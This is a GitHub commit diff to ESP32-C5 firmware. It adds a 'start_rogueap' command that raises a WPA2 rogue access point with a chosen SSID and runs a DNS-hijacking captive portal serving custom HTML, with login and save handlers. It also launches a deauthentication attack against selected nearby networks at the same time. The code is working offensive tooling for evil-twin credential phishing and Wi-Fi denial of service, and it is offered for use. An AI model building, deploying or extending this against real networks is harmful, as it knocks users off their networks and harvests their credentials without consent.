Skip to content

Commit 82b34a2

Browse files
authored
Merge pull request #147 from C5Lab/rogueap
rogueap
2 parents 7da0e0c + 53b0f73 commit 82b34a2

3 files changed

Lines changed: 349 additions & 1 deletion

File tree

0 Bytes
Binary file not shown.
3.09 KB
Binary file not shown.

ESP32C5/main/main.c

Lines changed: 349 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -93,7 +93,7 @@
9393
#endif
9494

9595
//Version number
96-
#define JANOS_VERSION "1.1.2"
96+
#define JANOS_VERSION "1.1.3"
9797

9898

9999
#define NEOPIXEL_GPIO 27
@@ -875,6 +875,7 @@ static int cmd_start_blackout(int argc, char **argv);
875875
static int cmd_ping(int argc, char **argv);
876876
static int cmd_boot_button(int argc, char **argv);
877877
static int cmd_start_portal(int argc, char **argv);
878+
static int cmd_start_rogueap(int argc, char **argv);
878879
static int cmd_start_karma(int argc, char **argv);
879880
static int cmd_list_sd(int argc, char **argv);
880881
static int cmd_list_dir(int argc, char **argv);
@@ -7688,6 +7689,343 @@ static int cmd_start_portal(int argc, char **argv) {
76887689
return 0;
76897690
}
76907691

7692+
// Start password-protected rogue AP with captive portal and optional deauth
7693+
static int cmd_start_rogueap(int argc, char **argv) {
7694+
log_memory_info("start_rogueap");
7695+
7696+
// Validate arguments
7697+
if (argc < 3) {
7698+
MY_LOG_INFO(TAG, "Usage: start_rogueap <SSID> <password>");
7699+
MY_LOG_INFO(TAG, "Example: start_rogueap MyNetwork MyPassword123");
7700+
return 1;
7701+
}
7702+
7703+
const char *ssid = argv[1];
7704+
const char *password = argv[2];
7705+
size_t ssid_len = strlen(ssid);
7706+
size_t password_len = strlen(password);
7707+
7708+
// Validate SSID length (WiFi SSID max is 32 characters)
7709+
if (ssid_len == 0 || ssid_len > 32) {
7710+
MY_LOG_INFO(TAG, "SSID length must be between 1 and 32 characters");
7711+
return 1;
7712+
}
7713+
7714+
// Validate password length (WPA2 requires 8-63 characters)
7715+
if (password_len < 8 || password_len > 63) {
7716+
MY_LOG_INFO(TAG, "Password length must be between 8 and 63 characters for WPA2");
7717+
return 1;
7718+
}
7719+
7720+
// Check if custom HTML is selected via select_html
7721+
if (custom_portal_html == NULL) {
7722+
MY_LOG_INFO(TAG, "No custom HTML selected. Use 'select_html' command first.");
7723+
MY_LOG_INFO(TAG, "Example: list_html, then select_html <number>");
7724+
return 1;
7725+
}
7726+
7727+
// Check if portal is already running
7728+
if (portal_active) {
7729+
MY_LOG_INFO(TAG, "Portal already running. Use 'stop' to stop it first.");
7730+
return 1;
7731+
}
7732+
7733+
// Check if deauth attack is already running
7734+
if (deauth_attack_active || deauth_attack_task_handle != NULL) {
7735+
MY_LOG_INFO(TAG, "Deauth attack already running. Use 'stop' to stop it first.");
7736+
return 1;
7737+
}
7738+
7739+
// Ensure WiFi is initialized
7740+
if (!ensure_wifi_mode()) {
7741+
MY_LOG_INFO(TAG, "Failed to initialize WiFi");
7742+
return 1;
7743+
}
7744+
7745+
// Reset stop flag
7746+
operation_stop_requested = false;
7747+
7748+
MY_LOG_INFO(TAG, "Starting Rogue AP with SSID: %s (WPA2 protected)", ssid);
7749+
7750+
// If networks are selected, prepare for deauth
7751+
bool deauth_enabled = (g_selected_count > 0);
7752+
if (deauth_enabled) {
7753+
MY_LOG_INFO(TAG, "Networks selected: %d - deauth attack will run alongside portal", g_selected_count);
7754+
applicationState = DEAUTH_EVIL_TWIN; // Same state as evil twin for channel parking
7755+
} else {
7756+
MY_LOG_INFO(TAG, "No networks selected - portal only mode (no deauth)");
7757+
// Keep IDLE state - portal_active flag handles the portal functionality
7758+
}
7759+
7760+
// Store portal SSID for logging purposes
7761+
if (portalSSID != NULL) {
7762+
free(portalSSID);
7763+
}
7764+
portalSSID = malloc(ssid_len + 1);
7765+
if (portalSSID != NULL) {
7766+
strcpy(portalSSID, ssid);
7767+
}
7768+
7769+
// Enable AP mode and get AP netif
7770+
esp_netif_t *ap_netif = ensure_ap_mode();
7771+
if (!ap_netif) {
7772+
MY_LOG_INFO(TAG, "Failed to enable AP mode");
7773+
applicationState = IDLE;
7774+
return 1;
7775+
}
7776+
7777+
// Stop DHCP server to configure custom IP
7778+
esp_netif_dhcps_stop(ap_netif);
7779+
7780+
// Set static IP 172.0.0.1 for AP
7781+
esp_netif_ip_info_t ip_info;
7782+
ip_info.ip.addr = esp_ip4addr_aton("172.0.0.1");
7783+
ip_info.gw.addr = esp_ip4addr_aton("172.0.0.1");
7784+
ip_info.netmask.addr = esp_ip4addr_aton("255.255.255.0");
7785+
7786+
esp_err_t ret = esp_netif_set_ip_info(ap_netif, &ip_info);
7787+
if (ret != ESP_OK) {
7788+
MY_LOG_INFO(TAG, "Failed to set AP IP: %s", esp_err_to_name(ret));
7789+
applicationState = IDLE;
7790+
return 1;
7791+
}
7792+
7793+
MY_LOG_INFO(TAG, "AP IP set to 172.0.0.1");
7794+
7795+
// Configure AP with WPA2-PSK authentication
7796+
wifi_config_t ap_config = {0};
7797+
memcpy(ap_config.ap.ssid, ssid, ssid_len);
7798+
ap_config.ap.ssid_len = ssid_len;
7799+
strncpy((char*)ap_config.ap.password, password, sizeof(ap_config.ap.password) - 1);
7800+
ap_config.ap.max_connection = 4;
7801+
ap_config.ap.authmode = WIFI_AUTH_WPA2_PSK;
7802+
7803+
// Use first selected network's channel if available, otherwise channel 1
7804+
if (deauth_enabled && target_bssid_count > 0) {
7805+
ap_config.ap.channel = target_bssids[0].channel;
7806+
MY_LOG_INFO(TAG, "Using channel %d from first selected network", ap_config.ap.channel);
7807+
} else if (deauth_enabled && g_selected_count > 0) {
7808+
// target_bssids not yet saved, get from scan results
7809+
int idx = g_selected_indices[0];
7810+
ap_config.ap.channel = g_scan_results[idx].primary;
7811+
MY_LOG_INFO(TAG, "Using channel %d from first selected network", ap_config.ap.channel);
7812+
} else {
7813+
ap_config.ap.channel = 1;
7814+
}
7815+
7816+
// AP mode already enabled by ensure_ap_mode(), just configure it
7817+
ret = esp_wifi_set_config(WIFI_IF_AP, &ap_config);
7818+
if (ret != ESP_OK) {
7819+
MY_LOG_INFO(TAG, "Failed to set AP config: %s", esp_err_to_name(ret));
7820+
applicationState = IDLE;
7821+
return 1;
7822+
}
7823+
7824+
// Start DHCP server
7825+
ret = esp_netif_dhcps_start(ap_netif);
7826+
if (ret != ESP_OK) {
7827+
MY_LOG_INFO(TAG, "Failed to start DHCP server: %s", esp_err_to_name(ret));
7828+
applicationState = IDLE;
7829+
return 1;
7830+
}
7831+
7832+
// Wait a bit for AP to fully start
7833+
vTaskDelay(pdMS_TO_TICKS(1000));
7834+
7835+
// Configure HTTP server
7836+
httpd_config_t config = HTTPD_DEFAULT_CONFIG();
7837+
config.server_port = 80;
7838+
config.max_open_sockets = 7;
7839+
7840+
// Start HTTP server
7841+
esp_err_t http_ret = httpd_start(&portal_server, &config);
7842+
if (http_ret != ESP_OK) {
7843+
MY_LOG_INFO(TAG, "Failed to start HTTP server: %s", esp_err_to_name(http_ret));
7844+
esp_netif_dhcps_stop(ap_netif);
7845+
applicationState = IDLE;
7846+
return 1;
7847+
}
7848+
7849+
MY_LOG_INFO(TAG, "HTTP server started successfully on port 80");
7850+
7851+
// Register URI handlers (same as start_portal)
7852+
httpd_uri_t root_uri = {
7853+
.uri = "/",
7854+
.method = HTTP_GET,
7855+
.handler = root_handler,
7856+
.user_ctx = NULL
7857+
};
7858+
httpd_register_uri_handler(portal_server, &root_uri);
7859+
7860+
httpd_uri_t root_post_uri = {
7861+
.uri = "/",
7862+
.method = HTTP_POST,
7863+
.handler = root_handler,
7864+
.user_ctx = NULL
7865+
};
7866+
httpd_register_uri_handler(portal_server, &root_post_uri);
7867+
7868+
httpd_uri_t portal_uri = {
7869+
.uri = "/portal",
7870+
.method = HTTP_GET,
7871+
.handler = portal_handler,
7872+
.user_ctx = NULL
7873+
};
7874+
httpd_register_uri_handler(portal_server, &portal_uri);
7875+
7876+
httpd_uri_t login_uri = {
7877+
.uri = "/login",
7878+
.method = HTTP_POST,
7879+
.handler = login_handler,
7880+
.user_ctx = NULL
7881+
};
7882+
httpd_register_uri_handler(portal_server, &login_uri);
7883+
7884+
httpd_uri_t get_uri = {
7885+
.uri = "/get",
7886+
.method = HTTP_GET,
7887+
.handler = get_handler,
7888+
.user_ctx = NULL
7889+
};
7890+
httpd_register_uri_handler(portal_server, &get_uri);
7891+
7892+
httpd_uri_t save_uri = {
7893+
.uri = "/save",
7894+
.method = HTTP_POST,
7895+
.handler = save_handler,
7896+
.user_ctx = NULL
7897+
};
7898+
httpd_register_uri_handler(portal_server, &save_uri);
7899+
7900+
httpd_uri_t android_captive_uri = {
7901+
.uri = "/generate_204",
7902+
.method = HTTP_GET,
7903+
.handler = android_captive_handler,
7904+
.user_ctx = NULL
7905+
};
7906+
httpd_register_uri_handler(portal_server, &android_captive_uri);
7907+
7908+
httpd_uri_t ios_captive_uri = {
7909+
.uri = "/hotspot-detect.html",
7910+
.method = HTTP_GET,
7911+
.handler = ios_captive_handler,
7912+
.user_ctx = NULL
7913+
};
7914+
httpd_register_uri_handler(portal_server, &ios_captive_uri);
7915+
7916+
httpd_uri_t samsung_captive_uri = {
7917+
.uri = "/ncsi.txt",
7918+
.method = HTTP_GET,
7919+
.handler = captive_detection_handler,
7920+
.user_ctx = NULL
7921+
};
7922+
httpd_register_uri_handler(portal_server, &samsung_captive_uri);
7923+
7924+
httpd_uri_t captive_uri = {
7925+
.uri = "/*",
7926+
.method = HTTP_GET,
7927+
.handler = captive_portal_handler,
7928+
.user_ctx = NULL
7929+
};
7930+
httpd_register_uri_handler(portal_server, &captive_uri);
7931+
7932+
httpd_uri_t captive_api_uri = {
7933+
.uri = "/captive-portal/api",
7934+
.method = HTTP_GET,
7935+
.handler = captive_api_handler,
7936+
.user_ctx = NULL
7937+
};
7938+
httpd_register_uri_handler(portal_server, &captive_api_uri);
7939+
7940+
httpd_uri_t captive_api_post_uri = {
7941+
.uri = "/captive-portal/api",
7942+
.method = HTTP_POST,
7943+
.handler = captive_api_handler,
7944+
.user_ctx = NULL
7945+
};
7946+
httpd_register_uri_handler(portal_server, &captive_api_post_uri);
7947+
7948+
httpd_uri_t captive_api_options_uri = {
7949+
.uri = "/captive-portal/api",
7950+
.method = HTTP_OPTIONS,
7951+
.handler = captive_api_handler,
7952+
.user_ctx = NULL
7953+
};
7954+
httpd_register_uri_handler(portal_server, &captive_api_options_uri);
7955+
7956+
// Set portal as active (must be before starting DNS task)
7957+
portal_active = true;
7958+
MY_LOG_INFO(TAG, "Portal marked as active");
7959+
7960+
// Start DNS server task
7961+
BaseType_t task_ret = xTaskCreate(
7962+
dns_server_task,
7963+
"dns_server",
7964+
4096,
7965+
NULL,
7966+
5,
7967+
&dns_server_task_handle
7968+
);
7969+
7970+
if (task_ret != pdPASS) {
7971+
MY_LOG_INFO(TAG, "Failed to create DNS server task");
7972+
portal_active = false;
7973+
httpd_stop(portal_server);
7974+
portal_server = NULL;
7975+
esp_netif_dhcps_stop(ap_netif);
7976+
applicationState = IDLE;
7977+
return 1;
7978+
}
7979+
7980+
// If networks are selected, start deauth attack
7981+
if (deauth_enabled) {
7982+
// Save target BSSIDs for channel monitoring
7983+
save_target_bssids();
7984+
last_channel_check_time = esp_timer_get_time() / 1000; // Convert to milliseconds
7985+
7986+
MY_LOG_INFO(TAG, "Starting deauth attack on %d network(s):", g_selected_count);
7987+
for (int i = 0; i < target_bssid_count; i++) {
7988+
MY_LOG_INFO(TAG, " [%d] %02X:%02X:%02X:%02X:%02X:%02X (CH %d)",
7989+
i + 1,
7990+
target_bssids[i].bssid[0], target_bssids[i].bssid[1],
7991+
target_bssids[i].bssid[2], target_bssids[i].bssid[3],
7992+
target_bssids[i].bssid[4], target_bssids[i].bssid[5],
7993+
target_bssids[i].channel);
7994+
}
7995+
7996+
// Start deauth attack in background task
7997+
deauth_attack_active = true;
7998+
BaseType_t result = xTaskCreate(
7999+
deauth_attack_task,
8000+
"deauth_task",
8001+
4096,
8002+
NULL,
8003+
5,
8004+
&deauth_attack_task_handle
8005+
);
8006+
8007+
if (result != pdPASS) {
8008+
MY_LOG_INFO(TAG, "Failed to create deauth attack task!");
8009+
deauth_attack_active = false;
8010+
// Portal is still running, so don't fail completely
8011+
MY_LOG_INFO(TAG, "WARNING: Portal running but deauth attack failed to start");
8012+
}
8013+
}
8014+
8015+
MY_LOG_INFO(TAG, "Rogue AP started successfully!");
8016+
MY_LOG_INFO(TAG, "AP Name: %s (WPA2 protected)", ssid);
8017+
MY_LOG_INFO(TAG, "Password: %s", password);
8018+
MY_LOG_INFO(TAG, "Custom HTML loaded (%zu bytes)", strlen(custom_portal_html));
8019+
MY_LOG_INFO(TAG, "Connect to '%s' WiFi network to access the captive portal", ssid);
8020+
8021+
esp_err_t led_err = led_set_color(255, 165, 0); // Orange for rogue AP mode
8022+
if (led_err != ESP_OK) {
8023+
ESP_LOGW(TAG, "Failed to set LED for rogue AP mode: %s", esp_err_to_name(led_err));
8024+
}
8025+
8026+
return 0;
8027+
}
8028+
76918029
// ============================================================================
76928030
// BLE Scanner Functions (NimBLE)
76938031
// ============================================================================
@@ -8665,6 +9003,15 @@ static void register_commands(void)
86659003
};
86669004
ESP_ERROR_CHECK(esp_console_cmd_register(&portal_cmd));
86679005

9006+
const esp_console_cmd_t rogueap_cmd = {
9007+
.command = "start_rogueap",
9008+
.help = "Start WPA2 rogue AP with captive portal: start_rogueap <SSID> <password>. Requires select_html first. Runs deauth if networks selected.",
9009+
.hint = "<SSID> <password>",
9010+
.func = &cmd_start_rogueap,
9011+
.argtable = NULL
9012+
};
9013+
ESP_ERROR_CHECK(esp_console_cmd_register(&rogueap_cmd));
9014+
86689015
const esp_console_cmd_t karma_cmd = {
86699016
.command = "start_karma",
86709017
.help = "Starts Karma attack with SSID from probe list: start_karma <index>",
@@ -9017,6 +9364,7 @@ void app_main(void) {
90179364
MY_LOG_INFO(TAG," start_deauth");
90189365
MY_LOG_INFO(TAG," start_evil_twin");
90199366
MY_LOG_INFO(TAG," start_portal <SSID>");
9367+
MY_LOG_INFO(TAG," start_rogueap <SSID> <password>");
90209368
MY_LOG_INFO(TAG," start_sniffer");
90219369
MY_LOG_INFO(TAG," start_sniffer_noscan");
90229370
MY_LOG_INFO(TAG," start_sniffer_dog");

0 commit comments

Comments
 (0)